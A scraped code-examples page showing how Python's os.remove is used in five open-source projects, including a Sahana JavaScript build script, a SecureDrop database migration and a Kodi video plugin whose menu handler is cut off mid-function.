os.remove

Here are the examples of the python api os.remove taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

200 Examples 7

Example 101

Project: ssf
Source File: build.sahana.py
View license
def dojs(dogis = False, warnings = True):
    """ Minifies the JavaScript """

    # Do we have local version of the Closure Compiler available?
    use_compressor = "jsmin" # Fallback
    try:
        import closure
        use_compressor = "closure"
        print "using local Closure Compiler"
    except Exception, E:
        print "No closure (%s)" % E
        print "Download from http://closure-compiler.googlecode.com/files/compiler-latest.zip"
        try:
            import closure_ws
            use_compressor = "closure_ws"
            print "Using Closure via Web Service - limited to files < 1Mb!"
        except ImportError:
            print "No closure_ws"

    if use_compressor == "closure":
        if not warnings:
            closure.extra_params = "--warning_level QUIET"
        minimize = closure.minimize
    elif use_compressor == "closure_ws":
        minimize = closure_ws.minimize
    elif use_compressor == "jsmin":
        minimize = jsmin.jsmin

    sourceDirectory = ".."
    configFilename = "sahana.js.cfg"
    outputFilename = "S3.min.js"

    sourceDirectorydataTables = "../S3"
    configFilenamedataTables = "sahana.js.dataTables.cfg"
    outputFilenamedataTables = "s3.dataTables.min.js"

    # Merge JS files
    print "Merging Core libraries."
    merged = mergejs.run(sourceDirectory, None, configFilename)

    # Compress JS files
    print "Compressing - JS"
    minimized = minimize(merged)

    # Add license
    print "Adding license file."
    minimized = file("license.txt").read() + minimized

    # Print to output files
    print "Writing to %s." % outputFilename
    file(outputFilename, "w").write(minimized)

    # Remove old JS files
    print "Deleting %s." % outputFilename
    try:
        os.remove("../S3/%s" % outputFilename)
    except:
        pass

    # Move new JS files
    print "Moving new JS files"
    shutil.move(outputFilename, "../S3")

    # Also do dataTables
    print "Compressing dataTables"
    mergeddataTables = mergejs.run(sourceDirectorydataTables,
                                   None,
                                   configFilenamedataTables)
    minimizeddataTables = minimize(mergeddataTables)
    file(outputFilenamedataTables, "w").write(minimizeddataTables)
    try:
        os.remove("../S3/%s" % outputFilenamedataTables)
    except:
        pass
    shutil.move(outputFilenamedataTables, "../S3")

    # Also do s3.embed_component.js
    print "Compressing s3.embed_component.js"
    inputFilename = os.path.join("..", "S3", "s3.embed_component.js")
    outputFilename = "s3.embed_component.min.js"
    input = file(inputFilename, "r").read()
    minimized = minimize(input)
    file(outputFilename, "w").write(minimized)
    try:
        os.remove("../S3/%s" % outputFilename)
    except:
        pass
    shutil.move(outputFilename, "../S3")

    # Also do s3.report.js
    print "Compressing s3.report.js"
    inputFilename = os.path.join("..", "S3", "s3.report.js")
    outputFilename = "s3.report.min.js"
    input = file(inputFilename, "r").read()
    minimized = minimize(input)
    file(outputFilename, "w").write(minimized)
    try:
        os.remove("../S3/%s" % outputFilename)
    except:
        pass
    shutil.move(outputFilename, "../S3")

    # Also do s3.search.js
    print "Compressing s3.search.js"
    inputFilename = os.path.join("..", "S3", "s3.search.js")
    outputFilename = "s3.search.min.js"
    input = file(inputFilename, "r").read()
    minimized = minimize(input)
    file(outputFilename, "w").write(minimized)
    try:
        os.remove("../S3/%s" % outputFilename)
    except:
        pass
    shutil.move(outputFilename, "../S3")

    # Also do s3.select_person.js
    print "Compressing s3.select_person.js"
    inputFilename = os.path.join("..", "S3", "s3.select_person.js")
    outputFilename = "s3.select_person.min.js"
    input = file(inputFilename, "r").read()
    minimized = minimize(input)
    file(outputFilename, "w").write(minimized)
    try:
        os.remove("../S3/%s" % outputFilename)
    except:
        pass
    shutil.move(outputFilename, "../S3")

    # Also do s3.timeline.js
    print "Compressing s3.timeline.js"
    inputFilename = os.path.join("..", "S3", "s3.timeline.js")
    outputFilename = "s3.timeline.min.js"
    input = file(inputFilename, "r").read()
    minimized = minimize(input)
    file(outputFilename, "w").write(minimized)
    try:
        os.remove("../S3/%s" % outputFilename)
    except:
        pass
    shutil.move(outputFilename, "../S3")

    if dogis:
        sourceDirectoryGIS = "../S3"
        sourceDirectoryOpenLayers = "../gis/openlayers/lib"
        sourceDirectoryOpenLayersExten = "../gis"
        sourceDirectoryMGRS = "../gis"
        sourceDirectoryGeoExt = "../gis/GeoExt/lib"
        sourceDirectoryGeoExtux = "../gis/GeoExt/ux"
        sourceDirectoryGxp = "../gis/gxp"
        #sourceDirectoryGeoExplorer = "../gis/GeoExplorer"
        configFilenameGIS = "sahana.js.gis.cfg"
        configFilenameOpenLayers = "sahana.js.ol.cfg"
        configFilenameOpenLayersExten = "sahana.js.ol_exten.cfg"
        configFilenameMGRS = "sahana.js.mgrs.cfg"
        configFilenameGeoExt = "sahana.js.geoext.cfg"
        configFilenameGeoExtux = "sahana.js.geoextux.cfg"
        configFilenameGxpMin = "sahana.js.gxp.cfg"
        configFilenameGxpFull = "sahana.js.gxpfull.cfg"
        #configFilenameGeoExplorer = "sahana.js.geoexplorer.cfg"
        outputFilenameGIS = "s3.gis.min.js"
        outputFilenameOpenLayers = "OpenLayers.js"
        outputFilenameMGRS = "MGRS.min.js"
        outputFilenameGeoExt = "GeoExt.js"
        outputFilenameGxp = "gxp.js"
        #outputFilenameGeoExplorer = "GeoExplorer.js"

        # Merge GIS JS Files
        print "Merging GIS scripts."
        mergedGIS = mergejs.run(sourceDirectoryGIS,
                                None,
                                configFilenameGIS)

        print "Merging OpenLayers libraries."
        mergedOpenLayers = mergejs.run(sourceDirectoryOpenLayers,
                                       None,
                                       configFilenameOpenLayers)
        mergedOpenLayersExten = mergejs.run(sourceDirectoryOpenLayersExten,
                                            None,
                                            configFilenameOpenLayersExten)

        print "Merging MGRS libraries."
        mergedMGRS = mergejs.run(sourceDirectoryMGRS,
                                 None,
                                 configFilenameMGRS)

        print "Merging GeoExt libraries."
        mergedGeoExt = mergejs.run(sourceDirectoryGeoExt,
                                   None,
                                   configFilenameGeoExt)
        mergedGeoExtux = mergejs.run(sourceDirectoryGeoExtux,
                                     None,
                                     configFilenameGeoExtux)

        print "Merging gxp libraries."
        mergedGxpMin = mergejs.run(sourceDirectoryGxp,
                                   None,
                                   configFilenameGxpMin)
        mergedGxpFull = mergejs.run(sourceDirectoryGxp,
                                    None,
                                    configFilenameGxpFull)

        #print "Merging GeoExplorer libraries."
        #mergedGeoExplorer = mergejs.run(sourceDirectoryGeoExplorer,
        #                                None,
        #                                configFilenameGeoExplorer)


        # Compress JS files
        print "Compressing - GIS JS"
        minimizedGIS = minimize(mergedGIS)

        print "Compressing - OpenLayers JS"
        if use_compressor == "closure_ws":
            # Limited to files < 1Mb!
            minimizedOpenLayers = jsmin.jsmin("%s\n%s" % (mergedOpenLayers,
                                                          mergedOpenLayersExten))
        else:
            minimizedOpenLayers = minimize("%s\n%s" % (mergedOpenLayers,
                                                       mergedOpenLayersExten))

        print "Compressing - MGRS JS"
        minimizedMGRS = minimize(mergedMGRS)

        print "Compressing - GeoExt JS"
        minimizedGeoExt = minimize("%s\n%s\n%s" % (mergedGeoExt,
                                                   mergedGeoExtux,
                                                   mergedGxpMin))

        print "Compressing - gxp JS"
        minimizedGxp = minimize(mergedGxpFull)

        #print "Compressing - GeoExplorer JS"
        #minimizedGeoExplorer = minimize(mergedGeoExplorer)

        # Add license
        #minimizedGIS = file("license.gis.txt").read() + minimizedGIS

        # Print to output files
        print "Writing to %s." % outputFilenameGIS
        file(outputFilenameGIS, "w").write(minimizedGIS)

        print "Writing to %s." % outputFilenameOpenLayers
        file(outputFilenameOpenLayers, "w").write(minimizedOpenLayers)

        print "Writing to %s." % outputFilenameMGRS
        file(outputFilenameMGRS, "w").write(minimizedMGRS)

        print "Writing to %s." % outputFilenameGeoExt
        file(outputFilenameGeoExt, "w").write(minimizedGeoExt)

        print "Writing to %s." % outputFilenameGxp
        file(outputFilenameGxp, "w").write(minimizedGxp)

        #print "Writing to %s." % outputFilenameGeoExplorer
        #file(outputFilenameGeoExplorer, "w").write(minimizedGeoExplorer)

        # Move new JS files
        print "Deleting %s." % outputFilenameGIS
        try:
            os.remove("../S3/%s" % outputFilenameGIS)
        except:
            pass
        print "Moving new GIS JS files"
        shutil.move(outputFilenameGIS, "../S3")

        print "Deleting %s." % outputFilenameOpenLayers
        try:
            os.remove("../gis/%s" % outputFilenameOpenLayers)
        except:
            pass
        print "Moving new OpenLayers JS files"
        shutil.move(outputFilenameOpenLayers, "../gis")

        print "Deleting %s." % outputFilenameMGRS
        try:
            os.remove("../gis/%s" % outputFilenameMGRS)
        except:
            pass
        print "Moving new MGRS JS files"
        shutil.move(outputFilenameMGRS, "../gis")

        print "Deleting %s." % outputFilenameGeoExt
        try:
            os.remove("../gis/%s" % outputFilenameGeoExt)
        except:
            pass
        print "Moving new GeoExt JS files"
        shutil.move(outputFilenameGeoExt, "../gis")

        print "Deleting %s." % outputFilenameGxp
        try:
            os.remove("../gis/%s" % outputFilenameGxp)
        except:
            pass
        print "Moving new gxp JS files"
        shutil.move(outputFilenameGxp, "../gis")

Example 102

Project: storjnode
Source File: process_transfers.py
View license
def do_download(client, con, contract, con_info, contract_id):
    _log.verbose("download")

    # Get file size.
    if not con_info["file_size"]:
        file_size_buf = con_info["file_size_buf"]
        if len(file_size_buf) < 20:
            remaining = 20 - len(file_size_buf)
            partial = con.recv(remaining)
            if not len(partial):
                return -1

            file_size_buf += partial
            if len(file_size_buf) == 20:
                if re.match(b"[0-9]+", file_size_buf) is None:
                    _log.debug("Invalid file size.")
                    con.close()
                    return -2

                file_size, = struct.unpack("<20s", file_size_buf)
                file_size = int(file_size_buf.rstrip(b"\0"))
                con_info["file_size"] = file_size
                con_info["remaining"] = file_size
            else:
                return -3

    # Request bandwidth for transfer.
    chunk_size = con_info["remaining"]
    allocation = client.bandwidth.request(
        "downstream",
        contract_id,
        chunk_size
    )

    # Download.
    data = con.recv(
        allocation,
        encoding="ascii"
    )

    bytes_recv = len(data)
    if bytes_recv:
        con_info["remaining"] -= len(data)
        client.save_data_chunk(contract["data_id"], data)
        client.bandwidth.update(
            "downstream",
            bytes_recv,
            contract_id
        )

    _log.verbose("Remaining = ")
    _log.verbose(con_info["remaining"])

    # When done downloading close con.
    if not con_info["remaining"]:
        # Check download.
        data_id = contract["data_id"]
        temp_path = client.downloading[data_id]
        invalid_hash = False
        with open(temp_path, "rb+") as shard:
            # Delete file if it doesn't hash right!
            found_hash = storage.shard.get_id(shard)
            if found_hash != data_id:
                invalid_hash = True
                _log.debug(found_hash)
                _log.debug(data_id)
                _log.debug("Error: downloaded file doesn't hash right! \a")
                return -4

            # Move shard to storage.
            storage.manager.add(
                client.store_config,
                shard
            )

        # Remove corrupt file.
        if invalid_hash:
            os.remove(temp_path)

        # Remove that we're downloading this.
        del client.downloading[data_id]

        # Ready for a new transfer (if there are any.)
        return 1

    return -5

Example 103

Project: datafari
Source File: test_zipimport_support.py
View license
    def test_doctest_issue4197(self):
        # To avoid having to keep two copies of the doctest module's
        # unit tests in sync, this test works by taking the source of
        # test_doctest itself, rewriting it a bit to cope with a new
        # location, and then throwing it in a zip file to make sure
        # everything still works correctly
        test_src = inspect.getsource(test_doctest)
        test_src = test_src.replace(
                         "from test import test_doctest",
                         "import test_zipped_doctest as test_doctest")
        test_src = test_src.replace("test.test_doctest",
                                    "test_zipped_doctest")
        test_src = test_src.replace("test.sample_doctest",
                                    "sample_zipped_doctest")
        # The sample doctest files rewritten to include in the zipped version.
        sample_sources = {}
        for mod in [sample_doctest, sample_doctest_no_doctests,
                    sample_doctest_no_docstrings]:
            src = inspect.getsource(mod)
            src = src.replace("test.test_doctest", "test_zipped_doctest")
            # Rewrite the module name so that, for example,
            # "test.sample_doctest" becomes "sample_zipped_doctest".
            mod_name = mod.__name__.split(".")[-1]
            mod_name = mod_name.replace("sample_", "sample_zipped_")
            sample_sources[mod_name] = src

        with temp_dir() as d:
            script_name = make_script(d, 'test_zipped_doctest',
                                            test_src)
            zip_name, run_name = make_zip_script(d, 'test_zip',
                                                script_name)
            z = zipfile.ZipFile(zip_name, 'a')
            for mod_name, src in sample_sources.items():
                z.writestr(mod_name + ".py", src)
            z.close()
            if verbose:
                zip_file = zipfile.ZipFile(zip_name, 'r')
                print 'Contents of %r:' % zip_name
                zip_file.printdir()
                zip_file.close()
            os.remove(script_name)
            sys.path.insert(0, zip_name)
            import test_zipped_doctest
            # Some of the doc tests depend on the colocated text files
            # which aren't available to the zipped version (the doctest
            # module currently requires real filenames for non-embedded
            # tests). So we're forced to be selective about which tests
            # to run.
            # doctest could really use some APIs which take a text
            # string or a file object instead of a filename...
            known_good_tests = [
                test_zipped_doctest.SampleClass,
                test_zipped_doctest.SampleClass.NestedClass,
                test_zipped_doctest.SampleClass.NestedClass.__init__,
                test_zipped_doctest.SampleClass.__init__,
                test_zipped_doctest.SampleClass.a_classmethod,
                test_zipped_doctest.SampleClass.a_property,
                test_zipped_doctest.SampleClass.a_staticmethod,
                test_zipped_doctest.SampleClass.double,
                test_zipped_doctest.SampleClass.get,
                test_zipped_doctest.SampleNewStyleClass,
                test_zipped_doctest.SampleNewStyleClass.__init__,
                test_zipped_doctest.SampleNewStyleClass.double,
                test_zipped_doctest.SampleNewStyleClass.get,
                test_zipped_doctest.old_test1,
                test_zipped_doctest.old_test2,
                test_zipped_doctest.old_test3,
                test_zipped_doctest.old_test4,
                test_zipped_doctest.sample_func,
                test_zipped_doctest.test_DocTest,
                test_zipped_doctest.test_DocTestParser,
                test_zipped_doctest.test_DocTestRunner.basics,
                test_zipped_doctest.test_DocTestRunner.exceptions,
                test_zipped_doctest.test_DocTestRunner.option_directives,
                test_zipped_doctest.test_DocTestRunner.optionflags,
                test_zipped_doctest.test_DocTestRunner.verbose_flag,
                test_zipped_doctest.test_Example,
                test_zipped_doctest.test_debug,
                test_zipped_doctest.test_pdb_set_trace,
                test_zipped_doctest.test_pdb_set_trace_nested,
                test_zipped_doctest.test_testsource,
                test_zipped_doctest.test_trailing_space_in_test,
                test_zipped_doctest.test_DocTestSuite,
                test_zipped_doctest.test_DocTestFinder,
            ]
            # These remaining tests are the ones which need access
            # to the data files, so we don't run them
            fail_due_to_missing_data_files = [
                test_zipped_doctest.test_DocFileSuite,
                test_zipped_doctest.test_testfile,
                test_zipped_doctest.test_unittest_reportflags,
            ]
            # Needed for test_DocTestParser and test_debug
            deprecations = []
            if __debug__:
                # Ignore all warnings about the use of class Tester in this module.
                deprecations.append(("class Tester is deprecated", DeprecationWarning))
            if sys.py3kwarning:
                deprecations += [
                    ("backquote not supported", SyntaxWarning),
                    ("execfile.. not supported", DeprecationWarning)]
            with test.test_support.check_warnings(*deprecations):
                for obj in known_good_tests:
                    _run_object_doctest(obj, test_zipped_doctest)

Example 104

Project: securedrop
Source File: 0.3_migrate.py
View license
def migrate_database(backup):
    print "* Migrating database..."

    # Get the sources table from the 0.2.1 instance's db
    old_db = backup.getmember("var/chroot/document/var/www/securedrop/db.sqlite")
    old_db.name = "db.old.sqlite"
    backup.extract(old_db)
    conn = sqlite3.connect("db.old.sqlite")
    c = conn.cursor()
    sources = c.execute("SELECT * FROM sources").fetchall()
    os.remove("db.old.sqlite")

    # Fill in the rest of the sources. Since sources were only added to the
    # database if their codename was changed by the journalist, we need to fill
    # in the rest by examining all of the filesystem designations in the source
    # directory and re-generating the codenames.
    #
    # Note: Must be called after /var/lib/securedrop/store is populated
    from old_crypto_util import displayid
    # Generate a list of the filesystem ids that have journalist designations
    # stored in the database, since they are already known and should not be
    # generated from the filesystem id
    already_processed = set([source[0] for source in sources])
    for fs_id in os.listdir("/var/lib/securedrop/store"):
        if fs_id in already_processed:
            continue
        sources.append((fs_id, displayid(fs_id)))

    # Import current application's config so we can easily populate the db
    sys.path.append("/var/www/securedrop")
    import config
    from db import Source, Journalist, Submission, Reply, db_session, init_db

    # We need to be able to link replies to the Journalist that sent
    # them. Since this information was not recorded in 0.2.1, we
    # arbitrarily say all replies were sent by an arbitrary journalist
    # that is present on this system. Since this information is not
    # currently exposed in the UI, this does not create a problem (for
    # now).
    if len(Journalist.query.all()) == 0:
        print "!!! FATAL: You must create a journalist account before running this migration."
        print "           Run ./manage.py add_admin and try again."
        sys.exit(1)
    else:
        arbitrary_journalist = Journalist.query.all()[0]

    # Back up current database just in case
    shutil.copy("/var/lib/securedrop/db.sqlite",
                "/var/lib/securedrop/db.sqlite.bak")

    # Copied from db.py to compute filesystem-safe journalist filenames
    def journalist_filename(s):
        valid_chars = 'abcdefghijklmnopqrstuvwxyz1234567890-_'
        return ''.join([c for c in s.lower().replace(' ', '_') if c in valid_chars])

    # Migrate rows to new database with SQLAlchemy ORM
    for source in sources:
        migrated_source = Source(source[0], source[1])
        source_dir = os.path.join("/var/lib/securedrop/store", source[0])

        # It appears that there was a bug in 0.2.1 where sources with changed
        # names were not always successfully removed from the database. Skip
        # any sources that didn't have files copied for them, they were deleted
        # and are in the database erroneously.
        if not os.path.isdir(source_dir):
            continue

        # Can infer "flagged" state by looking for _FLAG files in store
        if "_FLAG" in os.listdir(source_dir):
            # Mark the migrated source as flagged
            migrated_source.flagged = True
            # Delete the _FLAG file
            os.remove(os.path.join(source_dir, "_FLAG"))

        # Sort the submissions by the date of submission so we can infer the
        # correct interaction_count for the new filenames later, and so we can
        # set source.last_updated to the time of the most recently uploaded
        # submission in the store now.
        submissions = []
        replies = []
        for fn in os.listdir(source_dir):
            append_to = submissions
            if fn.startswith('reply-'):
                append_to = replies
            append_to.append((fn, os.path.getmtime(os.path.join(source_dir, fn))))

        # Sort by submission time
        submissions.sort(key=itemgetter(1))
        replies.sort(key=itemgetter(1))

        if len(submissions) > 0:
            migrated_source.last_updated = datetime.utcfromtimestamp(submissions[-1][1])
        else:
            # The source will have the default .last_updated of utcnow(), which
            # might be a little confusing, but it's the best we can do.
            pass

        # Since the concept of "pending" is introduced in 0.3, it's tricky to
        # figure out how to set this value. We can't distinguish between sources
        # who created an account but never submitted anything and sources who
        # had been active, but didn't have any stored submissions or replies at
        # the time of migration.
        #
        # After having explored the options, I think the best thing to do here
        # is set pending to True if there are no submissions or replies. Sources
        # who created an account but never submitted anything won't create noise
        # in the list, and sources who are active can probably be expected to
        # log back in relatively soon and so will automatially reappear once
        # they submit something new.
        if len(submissions + replies) == 0:
            migrated_source.pending = True
        else:
            migrated_source.pending = False

        # Set source.interaction_count to the number of current submissions for
        # each source. This is not technicially correct, but since we can't
        # know how many submissions have been deleted it will give us a
        # reasonable, monotonically increasing basis for future increments to
        # the interaction_count.
        migrated_source.interaction_count = len(submissions) + len(replies)

        # Add and commit the source to the db so they will have a primary key
        # assigned to use with the ForeignKey relationship with their
        # submissions
        db_session.add(migrated_source)
        db_session.commit()

        # Combine everything into one list, sorted by date, so we can
        # correctly set the interaction counts for each file.
        everything = submissions + replies
        everything.sort(key=itemgetter(1))
        for count, item in enumerate(everything):
            # Rename the file to fit the new file naming scheme used by 0.3
            fn = item[0]

            if fn.startswith('reply-'):
                new_fn = "{0}-{1}-reply.gpg".format(count+1, journalist_filename(source[1]))
            else:
                new_fn = "{0}-{1}-{2}".format(count+1, journalist_filename(source[1]), "msg.gpg" if fn.endswith("msg.gpg") else "doc.zip.gpg")

            # Move to the new filename
            os.rename(os.path.join(source_dir, fn),
                      os.path.join(source_dir, new_fn))

            # Add a database entry for this item
            db_entry = None

            if fn.startswith('reply-'):
                migrated_reply = Reply(arbitrary_journalist, migrated_source, new_fn)
                db_entry = migrated_reply
            else:
                migrated_submission = Submission(migrated_source, new_fn)
                # Assume that all submissions that are being migrated
                # have already been downloaded
                migrated_submission.downloaded = True
                db_entry = migrated_submission

            db_session.add(db_entry)
            db_session.commit()

    # chown the database file to the securedrop user
    subprocess.call(['chown', 'www-data:www-data', "/var/lib/securedrop/db.sqlite"])

Example 105

View license
def play_video(item,desdefavoritos=False,desdedescargados=False,desderrordescargas=False,strmfile=False):
    from core import servertools
    
    logger.info("streamondemand.platformcode.xbmctools play_video")
    #logger.info(item.tostring('\n'))

    try:
        item.server = item.server.lower()
    except:
        item.server = ""

    if item.server=="":
        item.server="directo"

    view = False
    # Abre el diálogo de selección
    opciones = []
    default_action = config.get_setting("default_action")
    logger.info("default_action="+default_action)

    # Si no es el modo normal, no muestra el diálogo porque cuelga XBMC
    muestra_dialogo = (config.get_setting("player_mode")=="0" and not strmfile)

    # Extrae las URL de los vídeos, y si no puedes verlo te dice el motivo
    video_urls,puedes,motivo = servertools.resolve_video_urls_for_playing(item.server,item.url,item.password,muestra_dialogo)

    # Si puedes ver el vídeo, presenta las opciones
    if puedes:
        
        for video_url in video_urls:
            opciones.append(config.get_localized_string(30151) + " " + video_url[0])

        if item.server=="local":
            opciones.append(config.get_localized_string(30164))
        else:
            opcion = config.get_localized_string(30153)
            opciones.append(opcion) # "Descargar"
    
            if item.channel=="favoritos": 
                opciones.append(config.get_localized_string(30154)) # "Quitar de favoritos"
            else:
                opciones.append(config.get_localized_string(30155)) # "Añadir a favoritos"
        
            if not strmfile:
                opciones.append(config.get_localized_string(30161)) # "Añadir a Biblioteca"
        
            if item.channel!="descargas":
                opciones.append(config.get_localized_string(30157)) # "Añadir a lista de descargas"
            else:
                if item.category=="errores":
                    opciones.append(config.get_localized_string(30159)) # "Borrar descarga definitivamente"
                    opciones.append(config.get_localized_string(30160)) # "Pasar de nuevo a lista de descargas"
                else:
                    opciones.append(config.get_localized_string(30156)) # "Quitar de lista de descargas"

            if config.get_setting("jdownloader_enabled")=="true":
                opciones.append(config.get_localized_string(30158)) # "Enviar a JDownloader"

        if default_action=="3":
            seleccion = len(opciones)-1
    
        # Busqueda de trailers en youtube    
        if not item.channel in ["Trailer","ecarteleratrailers"]:
            opciones.append(config.get_localized_string(30162)) # "Buscar Trailer"

    # Si no puedes ver el vídeo te informa
    else:
        if item.server!="":
            advertencia = xbmcgui.Dialog()
            if "<br/>" in motivo:
                resultado = advertencia.ok("Non è possibile guardare il video perché...", motivo.split("<br/>")[0],
                                           motivo.split("<br/>")[1], item.url)
            else:
                resultado = advertencia.ok("Non è possibile guardare il video perché...", motivo, item.url)
        else:
            resultado = advertencia.ok("Non è possibile guardare il video perché...", "Il server che lo ospita non è",
                                       "ancora supportato da streamondemand", item.url)

        if item.channel=="favoritos": 
            opciones.append(config.get_localized_string(30154)) # "Quitar de favoritos"

        if item.channel=="descargas":
            if item.category=="errores":
                opciones.append(config.get_localized_string(30159)) # "Borrar descarga definitivamente"
            else:
                opciones.append(config.get_localized_string(30156)) # "Quitar de lista de descargas"
        
        if len(opciones)==0:
            return

    # Si la accion por defecto es "Preguntar", pregunta
    if default_action=="0": # and server!="torrent":
        dia = xbmcgui.Dialog()
        seleccion = dia.select(config.get_localized_string(30163), opciones) # "Elige una opción"
        #dia.close()
        '''
        elif default_action=="0" and server=="torrent":
            advertencia = xbmcgui.Dialog()
            logger.info("video_urls[0]="+str(video_urls[0][1]))
            if puedes and ('"status":"COMPLETED"' in video_urls[0][1] or '"percent_done":100' in video_urls[0][1]):
                listo  = "y está listo para ver"
            else:
                listo = "y se está descargando"
            resultado = advertencia.ok( "Torrent" , "El torrent ha sido añadido a la lista" , listo )
            seleccion=-1
        '''
    elif default_action=="1":
        seleccion = 0
    elif default_action=="2":
        seleccion = len(video_urls)-1
    elif default_action=="3":
        seleccion = seleccion
    else:
        seleccion=0

    logger.info("seleccion=%d" % seleccion)
    logger.info("seleccion=%s" % opciones[seleccion])

    # No ha elegido nada, lo más probable porque haya dado al ESC 
    if seleccion==-1:
        #Para evitar el error "Uno o más elementos fallaron" al cancelar la selección desde fichero strm
        listitem = xbmcgui.ListItem( item.title, iconImage="DefaultVideo.png", thumbnailImage=item.thumbnail)
        xbmcplugin.setResolvedUrl(int(sys.argv[ 1 ]),False,listitem)    # JUR Added
        #if config.get_setting("subtitulo") == "true":
        #    config.set_setting("subtitulo", "false")
        return

    if opciones[seleccion]==config.get_localized_string(30158): # "Enviar a JDownloader"
        #d = {"web": url}urllib.urlencode(d)
        from core import scrapertools
        
        if item.subtitle!="":
            data = scrapertools.cachePage(config.get_setting("jdownloader")+"/action/add/links/grabber0/start1/web="+item.url+ " " +item.thumbnail + " " + item.subtitle)
        else:
            data = scrapertools.cachePage(config.get_setting("jdownloader")+"/action/add/links/grabber0/start1/web="+item.url+ " " +item.thumbnail)

        return

    if opciones[seleccion]==config.get_localized_string(30158).replace("jDownloader","pyLoad"): # "Enviar a pyLoad"
        logger.info("Enviando a pyload...")

        if item.show!="":
            package_name = item.show
        else:
            package_name = "streamondemand"

        from core import pyload_client
        pyload_client.download(url=item.url,package_name=package_name)
        return

    elif opciones[seleccion]==config.get_localized_string(30164): # Borrar archivo en descargas
        # En "extra" está el nombre del fichero en favoritos
        os.remove( item.url )
        xbmc.executebuiltin( "Container.Refresh" )
        return

    # Ha elegido uno de los vídeos
    elif seleccion < len(video_urls):
        mediaurl = video_urls[seleccion][1]
        if len(video_urls[seleccion])>3:
            wait_time = video_urls[seleccion][2]
            item.subtitle = video_urls[seleccion][3]
        elif len(video_urls[seleccion])>2:
            wait_time = video_urls[seleccion][2]
        else:
            wait_time = 0
        view = True

    # Descargar
    elif opciones[seleccion]==config.get_localized_string(30153): # "Descargar"

        download_title = item.fulltitle
        if item.hasContentDetails=="true":
            download_title = item.contentTitle

        # El vídeo de más calidad es el último
        mediaurl = video_urls[len(video_urls)-1][1]

        from core import downloadtools
        keyboard = xbmc.Keyboard(download_title)
        keyboard.doModal()
        if (keyboard.isConfirmed()):
            download_title = keyboard.getText()
            devuelve = downloadtools.downloadbest(video_urls,download_title)
            
            if devuelve==0:
                advertencia = xbmcgui.Dialog()
                resultado = advertencia.ok("Download", "Scaricato con successo")
            elif devuelve==-1:
                advertencia = xbmcgui.Dialog()
                resultado = advertencia.ok("Download", "Download interrotto")
            else:
                advertencia = xbmcgui.Dialog()
                resultado = advertencia.ok("Download", "Errore nel download")
        return

    elif opciones[seleccion]==config.get_localized_string(30154): #"Quitar de favoritos"
        from channels import favoritos
        # En "extra" está el nombre del fichero en favoritos
        favoritos.deletebookmark(urllib.unquote_plus( item.extra ))

        advertencia = xbmcgui.Dialog()
        resultado = advertencia.ok(config.get_localized_string(30102) , item.title , config.get_localized_string(30105)) # 'Se ha quitado de favoritos'

        xbmc.executebuiltin( "Container.Refresh" )
        return

    elif opciones[seleccion]==config.get_localized_string(30159): #"Borrar descarga definitivamente"
        from channels import descargas
        descargas.delete_error_bookmark(urllib.unquote_plus( item.extra ))

        advertencia = xbmcgui.Dialog()
        resultado = advertencia.ok(config.get_localized_string(30101) , item.title , config.get_localized_string(30106)) # 'Se ha quitado de la lista'
        xbmc.executebuiltin( "Container.Refresh" )
        return

    elif opciones[seleccion]==config.get_localized_string(30160): #"Pasar de nuevo a lista de descargas":
        from channels import descargas
        descargas.mover_descarga_error_a_pendiente(urllib.unquote_plus( item.extra ))

        advertencia = xbmcgui.Dialog()
        resultado = advertencia.ok(config.get_localized_string(30101) , item.title , config.get_localized_string(30107)) # 'Ha pasado de nuevo a la lista de descargas'
        return

    elif opciones[seleccion]==config.get_localized_string(30155): #"Añadir a favoritos":
        from channels import favoritos
        from core import downloadtools

        download_title = item.fulltitle
        download_thumbnail = item.thumbnail
        download_plot = item.plot

        if item.hasContentDetails=="true":
            download_title = item.contentTitle
            download_thumbnail = item.contentThumbnail
            download_plot = item.contentPlot

        keyboard = xbmc.Keyboard(downloadtools.limpia_nombre_excepto_1(download_title)+" ["+item.channel+"]")
        keyboard.doModal()
        if keyboard.isConfirmed():
            title = keyboard.getText()
            favoritos.savebookmark(titulo=title,url=item.url,thumbnail=download_thumbnail,server=item.server,plot=download_plot,fulltitle=title)
            advertencia = xbmcgui.Dialog()
            resultado = advertencia.ok(config.get_localized_string(30102) , title , config.get_localized_string(30108)) # 'se ha añadido a favoritos'
        return

    elif opciones[seleccion]==config.get_localized_string(30156): #"Quitar de lista de descargas":
        # La categoría es el nombre del fichero en la lista de descargas
        from channels import descargas
        descargas.deletebookmark((urllib.unquote_plus( item.extra )))

        advertencia = xbmcgui.Dialog()
        resultado = advertencia.ok(config.get_localized_string(30101) , item.title , config.get_localized_string(30106)) # 'Se ha quitado de lista de descargas'

        xbmc.executebuiltin( "Container.Refresh" )
        return

    elif opciones[seleccion]==config.get_localized_string(30157): #"Añadir a lista de descargas":
        from core import downloadtools

        download_title = item.fulltitle
        download_thumbnail = item.thumbnail
        download_plot = item.plot

        if item.hasContentDetails=="true":
            download_title = item.contentTitle
            download_thumbnail = item.contentThumbnail
            download_plot = item.contentPlot

        keyboard = xbmc.Keyboard(downloadtools.limpia_nombre_excepto_1(download_title))
        keyboard.doModal()
        if keyboard.isConfirmed():
            download_title = keyboard.getText()

            from channels import descargas
            descargas.savebookmark(titulo=download_title,url=item.url,thumbnail=download_thumbnail,server=item.server,plot=download_plot,fulltitle=download_title)

            advertencia = xbmcgui.Dialog()
            resultado = advertencia.ok(config.get_localized_string(30101) , download_title , config.get_localized_string(30109)) # 'se ha añadido a la lista de descargas'
        return

    elif opciones[seleccion] == config.get_localized_string(30161):  # "Añadir a Biblioteca":  # Library

        titulo = item.fulltitle
        if titulo == "":
            titulo = item.title
        #library.savelibrary(titulo,item.url,item.thumbnail,item.server,item.plot,canal=item.channel,category=item.category,Serie=item.show)
        # TODO ¿SOLO peliculas?
        #logger.debug(item.tostring('\n'))
        new_item = item.clone(title=titulo, action="play_from_library", category="Cine",
                              fulltitle=item.fulltitle, channel=item.channel)
        #logger.debug(new_item.tostring('\n'))
        insertados, sobreescritos, fallidos = library.save_library_movie(new_item)

        advertencia = xbmcgui.Dialog()
        if fallidos == 0:
            advertencia.ok(config.get_localized_string(30131), titulo,
                           config.get_localized_string(30135))  # 'se ha añadido a la biblioteca'
        return

    elif opciones[seleccion]==config.get_localized_string(30162): #"Buscar Trailer":
        config.set_setting("subtitulo", "false")
